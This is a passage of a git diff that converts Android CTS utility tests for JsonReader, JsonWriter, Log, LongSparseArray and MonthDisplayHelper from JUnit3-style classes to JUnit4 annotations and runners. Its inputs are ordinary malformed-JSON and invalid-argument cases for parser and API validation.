         reader.endArray();
     }
 
+    @Test
     public void testRecognizingInvalidNumbers() throws IOException {
         String json = "[-00,00,001,+1,1f,0x,0xf,0x0,0f1,0ee1,1..0,1e0.1,1.-01,1.+1,1.0x,1.0+]";
         JsonReader reader = new JsonReader(new StringReader(json));
@@ -417,6 +437,7 @@
         reader.endArray();
     }
 
+    @Test
     public void testNonFiniteDouble() throws IOException {
         String json = "[NaN]";
         JsonReader reader = new JsonReader(new StringReader(json));
@@ -428,6 +449,7 @@
         }
     }
 
+    @Test
     public void testNumberWithHexPrefix() throws IOException {
         String json = "[0x11]";
         JsonReader reader = new JsonReader(new StringReader(json));
@@ -439,6 +461,7 @@
         }
     }
 
+    @Test
     public void testNumberWithOctalPrefix() throws IOException {
         String json = "[01]";
         JsonReader reader = new JsonReader(new StringReader(json));
@@ -450,6 +473,7 @@
         }
     }
 
+    @Test
     public void testBooleans() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[true,false]"));
         reader.beginArray();
@@ -459,6 +483,7 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testMixedCaseLiterals() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[True,TruE,False,FALSE,NULL,nulL]"));
         reader.beginArray();
@@ -472,6 +497,7 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testMissingValue() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{\"a\":}"));
         reader.beginObject();
@@ -483,6 +509,7 @@
         }
     }
 
+    @Test
     public void testPrematureEndOfInput() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{\"a\":true,"));
         reader.beginObject();
@@ -495,6 +522,7 @@
         }
     }
 
+    @Test
     public void testPrematurelyClosed() throws IOException {
         try {
             JsonReader reader = new JsonReader(new StringReader("{\"a\":[]}"));
@@ -525,6 +553,7 @@
         }
     }
 
+    @Test
     public void testNextFailuresDoNotAdvance() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{\"a\":true}"));
         reader.beginObject();
@@ -585,26 +614,21 @@
         reader.close();
     }
 
+    @Test(expected=IllegalStateException.class)
     public void testStringNullIsNotNull() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[\"null\"]"));
         reader.beginArray();
-        try {
-            reader.nextNull();
-            fail();
-        } catch (IllegalStateException expected) {
-        }
+        reader.nextNull();
     }
 
+    @Test(expected=IllegalStateException.class)
     public void testNullLiteralIsNotAString() throws IOException {
-       JsonReader reader = new JsonReader(new StringReader("[null]"));
+        JsonReader reader = new JsonReader(new StringReader("[null]"));
         reader.beginArray();
-        try {
-            reader.nextString();
-            fail();
-        } catch (IllegalStateException expected) {
-        }
+        reader.nextString();
     }
 
+    @Test
     public void testStrictNameValueSeparator() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{\"a\"=true}"));
         reader.beginObject();
@@ -625,6 +649,7 @@
         }
     }
 
+    @Test
     public void testLenientNameValueSeparator() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{\"a\"=true}"));
         reader.setLenient(true);
@@ -639,6 +664,7 @@
         assertEquals(true, reader.nextBoolean());
     }
 
+    @Test
     public void testStrictComments() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[// comment \n true]"));
         reader.beginArray();
@@ -665,6 +691,7 @@
         }
     }
 
+    @Test
     public void testLenientComments() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[// comment \n true]"));
         reader.setLenient(true);
@@ -682,6 +709,7 @@
         assertEquals(true, reader.nextBoolean());
     }
 
+    @Test
     public void testStrictUnquotedNames() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{a:true}"));
         reader.beginObject();
@@ -692,6 +720,7 @@
         }
     }
 
+    @Test
     public void testLenientUnquotedNames() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{a:true}"));
         reader.setLenient(true);
@@ -699,6 +728,7 @@
         assertEquals("a", reader.nextName());
     }
 
+    @Test
     public void testStrictSingleQuotedNames() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{'a':true}"));
         reader.beginObject();
@@ -709,6 +739,7 @@
         }
     }
 
+    @Test
     public void testLenientSingleQuotedNames() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{'a':true}"));
         reader.setLenient(true);
@@ -716,16 +747,14 @@
         assertEquals("a", reader.nextName());
     }
 
+    @Test(expected=MalformedJsonException.class)
     public void testStrictUnquotedStrings() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[a]"));
         reader.beginArray();
-        try {
-            reader.nextString();
-            fail();
-        } catch (MalformedJsonException expected) {
-        }
+        reader.nextString();
     }
 
+    @Test
     public void testLenientUnquotedStrings() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[a]"));
         reader.setLenient(true);
@@ -733,6 +762,7 @@
         assertEquals("a", reader.nextString());
     }
 
+    @Test
     public void testStrictSingleQuotedStrings() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("['a']"));
         reader.beginArray();
@@ -743,6 +773,7 @@
         }
     }
 
+    @Test
     public void testLenientSingleQuotedStrings() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("['a']"));
         reader.setLenient(true);
@@ -750,6 +781,7 @@
         assertEquals("a", reader.nextString());
     }
 
+    @Test
     public void testStrictSemicolonDelimitedArray() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[true;true]"));
         reader.beginArray();
@@ -761,6 +793,7 @@
         }
     }
 
+    @Test
     public void testLenientSemicolonDelimitedArray() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[true;true]"));
         reader.setLenient(true);
@@ -769,6 +802,7 @@
         assertEquals(true, reader.nextBoolean());
     }
 
+    @Test
     public void testStrictSemicolonDelimitedNameValuePair() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{\"a\":true;\"b\":true}"));
         reader.beginObject();
@@ -781,6 +815,7 @@
         }
     }
 
+    @Test
     public void testLenientSemicolonDelimitedNameValuePair() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("{\"a\":true;\"b\":true}"));
         reader.setLenient(true);
@@ -790,6 +825,7 @@
         assertEquals("b", reader.nextName());
     }
 
+    @Test
     public void testStrictUnnecessaryArraySeparators() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[true,,true]"));
         reader.beginArray();
@@ -826,6 +862,7 @@
         }
     }
 
+    @Test
     public void testLenientUnnecessaryArraySeparators() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[true,,true]"));
         reader.setLenient(true);
@@ -857,6 +894,7 @@
         reader.endArray();
     }
 
+    @Test
     public void testStrictMultipleTopLevelValues() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[] []"));
         reader.beginArray();
@@ -868,6 +906,7 @@
         }
     }
 
+    @Test
     public void testLenientMultipleTopLevelValues() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[] true {}"));
         reader.setLenient(true);
@@ -879,6 +918,7 @@
         assertEquals(JsonToken.END_DOCUMENT, reader.peek());
     }
 
+    @Test
     public void testStrictTopLevelValueType() {
         JsonReader reader = new JsonReader(new StringReader("true"));
         try {
@@ -888,12 +928,14 @@
         }
     }
 
+    @Test
     public void testLenientTopLevelValueType() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("true"));
         reader.setLenient(true);
         assertEquals(true, reader.nextBoolean());
     }
 
+    @Test
     public void testStrictNonExecutePrefix() {
         JsonReader reader = new JsonReader(new StringReader(")]}'\n []"));
         try {
@@ -903,12 +945,14 @@
         }
     }
 
+    @Test
     public void testBomIgnoredAsFirstCharacterOfDocument() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("\ufeff[]"));
         reader.beginArray();
         reader.endArray();
     }
 
+    @Test
     public void testBomForbiddenAsOtherCharacterInDocument() throws IOException {
         JsonReader reader = new JsonReader(new StringReader("[\ufeff]"));
         reader.beginArray();
@@ -919,23 +963,26 @@
         }
     }
 
+    @Test
     public void testFailWithPosition() throws IOException {
-        testFailWithPosition("Expected literal value at line 6 column 3",
+        verifyFailWithPosition("Expected literal value at line 6 column 3",
                 "[\n\n\n\n\n0,}]");
     }
 
+    @Test
     public void testFailWithPositionIsOffsetByBom() throws IOException {
-        testFailWithPosition("Expected literal value at line 1 column 4",
+        verifyFailWithPosition("Expected literal value at line 1 column 4",
                 "\ufeff[0,}]");
     }
 
+    @Test
     public void testFailWithPositionGreaterThanBufferSize() throws IOException {
         String spaces = repeat(' ', 8192);
-        testFailWithPosition("Expected literal value at line 6 column 3",
+        verifyFailWithPosition("Expected literal value at line 6 column 3",
                 "[\n\n" + spaces + "\n\n\n0,}]");
     }
 
-    private void testFailWithPosition(String message, String json) throws IOException {
+    private void verifyFailWithPosition(String message, String json) throws IOException {
         JsonReader reader = new JsonReader(new StringReader(json));
         reader.beginArray();
         reader.nextInt();
diff --git a/tests/tests/util/src/android/util/cts/JsonWriterTest.java b/tests/tests/util/src/android/util/cts/JsonWriterTest.java
index d0207d2..79819a2 100644
--- a/tests/tests/util/src/android/util/cts/JsonWriterTest.java
+++ b/tests/tests/util/src/android/util/cts/JsonWriterTest.java
@@ -16,16 +16,25 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.JsonWriter;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.IOException;
 import java.io.StringWriter;
 import java.math.BigDecimal;
 import java.math.BigInteger;
-import junit.framework.TestCase;
 
-import android.util.JsonWriter;
-
-public final class JsonWriterTest extends TestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class JsonWriterTest {
+    @Test
     public void testWrongTopLevelType() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -36,6 +45,7 @@
         }
     }
 
+    @Test
     public void testTwoNames() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -48,6 +58,7 @@
         }
     }
 
+    @Test
     public void testNameWithoutValue() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -60,6 +71,7 @@
         }
     }
 
+    @Test
     public void testValueWithoutName() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -71,6 +83,7 @@
         }
     }
 
+    @Test
     public void testMultipleTopLevelValues() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -82,6 +95,7 @@
         }
     }
 
+    @Test
     public void testBadNestingObject() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -94,6 +108,7 @@
         }
     }
 
+    @Test
     public void testBadNestingArray() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -106,6 +121,7 @@
         }
     }
 
+    @Test
     public void testNullName() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -117,6 +133,7 @@
         }
     }
 
+    @Test
     public void testNullStringValue() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -127,6 +144,7 @@
         assertEquals("{\"a\":null}", stringWriter.toString());
     }
 
+    @Test
     public void testNonFiniteDoubles() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -148,6 +166,7 @@
         }
     }
 
+    @Test
     public void testNonFiniteBoxedDoubles() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -169,6 +188,7 @@
         }
     }
 
+    @Test
     public void testDoubles() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -195,6 +215,7 @@
                 + "2.718281828459045]", stringWriter.toString());
     }
 
+    @Test
     public void testLongs() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -213,6 +234,7 @@
                 + "9223372036854775807]", stringWriter.toString());
     }
 
+    @Test
     public void testNumbers() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -229,6 +251,7 @@
                 + "3.141592653589793238462643383]", stringWriter.toString());
     }
 
+    @Test
     public void testBooleans() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -239,6 +262,7 @@
         assertEquals("[true,false]", stringWriter.toString());
     }
 
+    @Test
     public void testNulls() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -248,6 +272,7 @@
         assertEquals("[null]", stringWriter.toString());
     }
 
+    @Test
     public void testStrings() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -291,6 +316,7 @@
                 + "\"\\u0019\"]", stringWriter.toString());
     }
 
+    @Test
     public void testUnicodeLineBreaksEscaped() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -300,6 +326,7 @@
         assertEquals("[\"\\u2028 \\u2029\"]", stringWriter.toString());
     }
 
+    @Test
     public void testEmptyArray() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -308,6 +335,7 @@
         assertEquals("[]", stringWriter.toString());
     }
 
+    @Test
     public void testEmptyObject() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -316,6 +344,7 @@
         assertEquals("{}", stringWriter.toString());
     }
 
+    @Test
     public void testObjectsInArrays() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -333,6 +362,7 @@
                 + "{\"c\":6,\"d\":true}]", stringWriter.toString());
     }
 
+    @Test
     public void testArraysInObjects() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -352,6 +382,7 @@
                 + "\"b\":[6,true]}", stringWriter.toString());
     }
 
+    @Test
     public void testDeepNestingArrays() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -364,6 +395,7 @@
         assertEquals("[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]", stringWriter.toString());
     }
 
+    @Test
     public void testDeepNestingObjects() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -381,6 +413,7 @@
                 + "}}}}}}}}}}}}}}}}}}}}}", stringWriter.toString());
     }
 
+    @Test
     public void testRepeatedName() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -392,6 +425,7 @@
         assertEquals("{\"a\":true,\"a\":false}", stringWriter.toString());
     }
 
+    @Test
     public void testPrettyPrintObject() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
@@ -429,6 +463,7 @@
         assertEquals(expected, stringWriter.toString());
     }
 
+    @Test
     public void testPrettyPrintArray() throws IOException {
         StringWriter stringWriter = new StringWriter();
         JsonWriter jsonWriter = new JsonWriter(stringWriter);
diff --git a/tests/tests/util/src/android/util/cts/LogPrinterTest.java b/tests/tests/util/src/android/util/cts/LogPrinterTest.java
index 7411f9c..bd139ef 100644
--- a/tests/tests/util/src/android/util/cts/LogPrinterTest.java
+++ b/tests/tests/util/src/android/util/cts/LogPrinterTest.java
@@ -16,27 +16,31 @@
 
 package android.util.cts;
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 import android.util.LogPrinter;
 
-public class LogPrinterTest extends AndroidTestCase {
-    private final String mTag="LogPrinterTest";
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LogPrinterTest {
+    private static final String TAG = "LogPrinterTest";
+
+    @Test
     public void testConstructor() {
         int[] priorities = { Log.ASSERT, Log.DEBUG, Log.ERROR, Log.INFO,
                 Log.VERBOSE, Log.WARN };
         for (int i = 0; i < priorities.length; i++) {
-            new LogPrinter(priorities[i], mTag);
+            new LogPrinter(priorities[i], TAG);
         }
     }
 
+    @Test
     public void testPrintln() {
-        LogPrinter logPrinter = new LogPrinter(Log.DEBUG, mTag);
+        LogPrinter logPrinter = new LogPrinter(Log.DEBUG, TAG);
         String mMessage = "testMessage";
         logPrinter.println(mMessage);
     }
diff --git a/tests/tests/util/src/android/util/cts/LogTest.java b/tests/tests/util/src/android/util/cts/LogTest.java
index 80d0111..ada7af7 100644
--- a/tests/tests/util/src/android/util/cts/LogTest.java
+++ b/tests/tests/util/src/android/util/cts/LogTest.java
@@ -16,17 +16,21 @@
 
 package android.util.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
-/**
- * 
- * Test Log
- *
- */
-public class LogTest extends AndroidTestCase{
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LogTest {
     private static final String TAG = "LogTest";
 
+    @Test
     public void testLogOperations() {
         final String msg = "Test Log operations.";
         Exception tr = null;
diff --git a/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java b/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
index e5b23f8..2eabe88 100644
--- a/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/LongSparseArrayTest.java
@@ -16,22 +16,33 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.LongSparseArray;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests for {@link LongSparseArray}.
  */
-public class LongSparseArrayTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LongSparseArrayTest {
     private static final long[] KEYS = {12, 23, 4, 6, 8, 1, 3, -12, 0, -3, 11, 14, -23};
     private static final Integer[] VALUES = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12};
     private static final int LENGTH = VALUES.length;
     private static final long NON_EXISTED_KEY = 123;
     private static final Integer VALUE_FOR_NON_EXISTED_KEY = -1;
 
+    @Test
     public void testSparseArrayWithDefaultCapacity() {
-        LongSparseArray<Integer> sparseArray = new LongSparseArray<Integer>();
+        LongSparseArray<Integer> sparseArray = new LongSparseArray<>();
         assertEquals(0, sparseArray.size());
 
         int length = VALUES.length;
@@ -95,8 +106,9 @@
         assertEquals(0, sparseArray.size());
     }
 
+    @Test
     public void testSparseArrayWithSpecifiedCapacity() {
-        LongSparseArray<Integer> sparseArray = new LongSparseArray<Integer>(5);
+        LongSparseArray<Integer> sparseArray = new LongSparseArray<>(5);
         assertEquals(0, sparseArray.size());
 
         int length = VALUES.length;
@@ -160,8 +172,9 @@
         assertEquals(0, sparseArray.size());
     }
 
+    @Test
     public void testIterationOrder() {
-        LongSparseArray<Long> sparseArray = new LongSparseArray<Long>();
+        LongSparseArray<Long> sparseArray = new LongSparseArray<>();
         // No matter in which order they are inserted.
         sparseArray.put(1L, Long.valueOf(2L));
         sparseArray.put(10L, Long.valueOf(20L));
@@ -178,5 +191,4 @@
         assertEquals(20L, sparseArray.valueAt(2).longValue());
         assertEquals(Long.MIN_VALUE, sparseArray.valueAt(3).longValue());
     }
-
 }
diff --git a/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java b/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
index fc4dda1..df9916c 100644
--- a/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
+++ b/tests/tests/util/src/android/util/cts/MonthDisplayHelperTest.java
@@ -16,123 +16,118 @@
 
 package android.util.cts;
 
-import java.util.Calendar;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.MonthDisplayHelper;
 
-public class MonthDisplayHelperTest extends AndroidTestCase {
-    private MonthDisplayHelper mHelper;
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.util.Calendar;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MonthDisplayHelperTest {
+    @Test
     public void testConstructor() {
-
-        try {
-            mHelper = new MonthDisplayHelper(2008,
-                    Calendar.DECEMBER, Calendar.MONDAY);
-            mHelper = new MonthDisplayHelper(2008, Calendar.DECEMBER);
-        } catch (Exception e) {
-            fail("shouldn't throw exception");
-        }
-
-        try {
-            mHelper = new MonthDisplayHelper(2008,
-                    Calendar.DECEMBER, Calendar.SUNDAY - 1);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
-        try {
-            mHelper = new MonthDisplayHelper(2008,
-                    Calendar.DECEMBER, Calendar.SATURDAY + 1);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
-        try {
-            mHelper = new MonthDisplayHelper(-1, Calendar.DECEMBER,
-                    Calendar.SATURDAY + 1);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
-        try {
-            mHelper = new MonthDisplayHelper(-1,
-                    Calendar.DECEMBER + 1, Calendar.SATURDAY + 1);
-            fail("should throw exception");
-        } catch (Exception e) {
-        }
-
+        new MonthDisplayHelper(2008, Calendar.DECEMBER, Calendar.MONDAY);
+        new MonthDisplayHelper(2008, Calendar.DECEMBER);
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testConstructorInvalidDay1() {
+        new MonthDisplayHelper(2008, Calendar.DECEMBER, Calendar.SUNDAY - 1);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testConstructorInvalidDay2() {
+        new MonthDisplayHelper(2008, Calendar.DECEMBER, Calendar.SATURDAY + 1);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testConstructorInvalidYearAndDay() {
+        new MonthDisplayHelper(-1, Calendar.DECEMBER, Calendar.SATURDAY + 1);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testConstructorInvalidYearAndMonthAndDay() {
+        new MonthDisplayHelper(-1, Calendar.DECEMBER + 1, Calendar.SATURDAY + 1);
+    }
+
+    @Test
     public void testNumberOfDaysInCurrentMonth() {
-        assertEquals(30, new MonthDisplayHelper(2007, Calendar.SEPTEMBER)
-                .getNumberOfDaysInMonth());
-        assertEquals(28, new MonthDisplayHelper(2007, Calendar.FEBRUARY)
-        .getNumberOfDaysInMonth());
-        assertEquals(29, new MonthDisplayHelper(2008, Calendar.FEBRUARY)
-        .getNumberOfDaysInMonth());
+        assertEquals(30,
+                new MonthDisplayHelper(2007, Calendar.SEPTEMBER).getNumberOfDaysInMonth());
+        assertEquals(28,
+                new MonthDisplayHelper(2007, Calendar.FEBRUARY).getNumberOfDaysInMonth());
+        assertEquals(29,
+                new MonthDisplayHelper(2008, Calendar.FEBRUARY).getNumberOfDaysInMonth());
     }
 
+    @Test
     public void testNextMonth() {
-        mHelper = new MonthDisplayHelper(2007, Calendar.AUGUST, Calendar.SUNDAY);
+        MonthDisplayHelper helper = new MonthDisplayHelper(2007, Calendar.AUGUST, Calendar.SUNDAY);
 
-        assertArraysEqual(new int[] { 29, 30, 31, 1, 2, 3, 4 }, mHelper
-                .getDigitsForRow(0));
+        assertArrayEquals(new int[] { 29, 30, 31, 1, 2, 3, 4 }, helper.getDigitsForRow(0));
 
-        mHelper.nextMonth();
+        helper.nextMonth();
 
-        assertEquals(Calendar.SEPTEMBER, mHelper.getMonth());
-        assertArraysEqual(new int[] { 26, 27, 28, 29, 30, 31, 1 }, mHelper
-                .getDigitsForRow(0));
+        assertEquals(Calendar.SEPTEMBER, helper.getMonth());
+        assertArrayEquals(new int[] { 26, 27, 28, 29, 30, 31, 1 }, helper.getDigitsForRow(0));
     }
 
+    @Test
     public void testGetRowOf() {
-        mHelper = new MonthDisplayHelper(2007,
-                Calendar.AUGUST, Calendar.SUNDAY);
+        MonthDisplayHelper helper = new MonthDisplayHelper(2007, Calendar.AUGUST, Calendar.SUNDAY);
 
-        assertEquals(0, mHelper.getRowOf(2));
-        assertEquals(0, mHelper.getRowOf(4));
-        assertEquals(2, mHelper.getRowOf(12));
-        assertEquals(2, mHelper.getRowOf(18));
-        assertEquals(3, mHelper.getRowOf(19));
+        assertEquals(0, helper.getRowOf(2));
+        assertEquals(0, helper.getRowOf(4));
+        assertEquals(2, helper.getRowOf(12));
+        assertEquals(2, helper.getRowOf(18));
+        assertEquals(3, helper.getRowOf(19));
     }
 
+    @Test
     public void testHelperProperties() {
-        mHelper = new MonthDisplayHelper(2007, Calendar.AUGUST, Calendar.SUNDAY);
+        MonthDisplayHelper helper = new MonthDisplayHelper(2007, Calendar.AUGUST, Calendar.SUNDAY);
 
-        assertEquals(1, mHelper.getWeekStartDay());
-        assertEquals(3, mHelper.getOffset());
-        mHelper = new MonthDisplayHelper(2007, Calendar.AUGUST);
-        assertEquals(1, mHelper.getWeekStartDay());
-        assertEquals(3, mHelper.getOffset());
+        assertEquals(1, helper.getWeekStartDay());
+        assertEquals(3, helper.getOffset());
+        helper = new MonthDisplayHelper(2007, Calendar.AUGUST);
+        assertEquals(1, helper.getWeekStartDay());
+        assertEquals(3, helper.getOffset());
     }
 
+    @Test
     public void testMonthRows() {
-        mHelper = new MonthDisplayHelper(2007, Calendar.SEPTEMBER);
+        MonthDisplayHelper helper = new MonthDisplayHelper(2007, Calendar.SEPTEMBER);
 
-        assertArraysEqual(new int[] { 26, 27, 28, 29, 30, 31, 1 }, mHelper
+        assertArrayEquals(new int[] { 26, 27, 28, 29, 30, 31, 1 }, helper
                 .getDigitsForRow(0));
-        assertArraysEqual(new int[] { 2, 3, 4, 5, 6, 7, 8 }, mHelper
+        assertArrayEquals(new int[] { 2, 3, 4, 5, 6, 7, 8 }, helper
                 .getDigitsForRow(1));
-        assertArraysEqual(new int[] { 30, 1, 2, 3, 4, 5, 6 }, mHelper
+        assertArrayEquals(new int[] { 30, 1, 2, 3, 4, 5, 6 }, helper
                 .getDigitsForRow(5));
 
-        mHelper = new MonthDisplayHelper(2007, Calendar.SEPTEMBER,
-                Calendar.MONDAY);
+        helper = new MonthDisplayHelper(2007, Calendar.SEPTEMBER, Calendar.MONDAY);
 
-        assertArraysEqual(new int[] { 27, 28, 29, 30, 31, 1, 2 }, mHelper
+        assertArrayEquals(new int[] { 27, 28, 29, 30, 31, 1, 2 }, helper
                 .getDigitsForRow(0));
-        assertArraysEqual(new int[] { 3, 4, 5, 6, 7, 8, 9 }, mHelper
+        assertArrayEquals(new int[] { 3, 4, 5, 6, 7, 8, 9 }, helper
                 .getDigitsForRow(1));
-        assertArraysEqual(new int[] { 24, 25, 26, 27, 28, 29, 30 }, mHelper
+        assertArrayEquals(new int[] { 24, 25, 26, 27, 28, 29, 30 }, helper
                 .getDigitsForRow(4));
-        assertArraysEqual(new int[] { 1, 2, 3, 4, 5, 6, 7 }, mHelper
+        assertArrayEquals(new int[] { 1, 2, 3, 4, 5, 6, 7 }, helper
                 .getDigitsForRow(5));
     }
 
+    @Test
     public void testFirstDayOfMonth() {
-
         assertEquals("august 2007", Calendar.WEDNESDAY, new MonthDisplayHelper(
                 2007, Calendar.AUGUST).getFirstDayOfMonth());
 
@@ -141,36 +136,35 @@
                         .getFirstDayOfMonth());
     }
 
+    @Test
     public void testGetColumnOf() {
-        mHelper= new MonthDisplayHelper(2007,
-                Calendar.AUGUST, Calendar.SUNDAY);
+        MonthDisplayHelper helper = new MonthDisplayHelper(2007, Calendar.AUGUST, Calendar.SUNDAY);
 
-        assertEquals(3, mHelper.getColumnOf(1));
-        assertEquals(4, mHelper.getColumnOf(9));
-        assertEquals(5, mHelper.getColumnOf(17));
-        assertEquals(6, mHelper.getColumnOf(25));
-        assertEquals(0, mHelper.getColumnOf(26));
+        assertEquals(3, helper.getColumnOf(1));
+        assertEquals(4, helper.getColumnOf(9));
+        assertEquals(5, helper.getColumnOf(17));
+        assertEquals(6, helper.getColumnOf(25));
+        assertEquals(0, helper.getColumnOf(26));
     }
 
+    @Test
     public void testGetDayAt() {
-        mHelper = new MonthDisplayHelper(2007,
-                Calendar.AUGUST, Calendar.SUNDAY);
+        MonthDisplayHelper helper = new MonthDisplayHelper(2007, Calendar.AUGUST, Calendar.SUNDAY);
 
-        assertEquals(30, mHelper.getDayAt(0, 1));
+        assertEquals(30, helper.getDayAt(0, 1));
     }
 
+    @Test
     public void testPrevMonth() {
-        mHelper = new MonthDisplayHelper(2007, Calendar.SEPTEMBER,
+        MonthDisplayHelper mHelper = new MonthDisplayHelper(2007, Calendar.SEPTEMBER,
                 Calendar.SUNDAY);
 
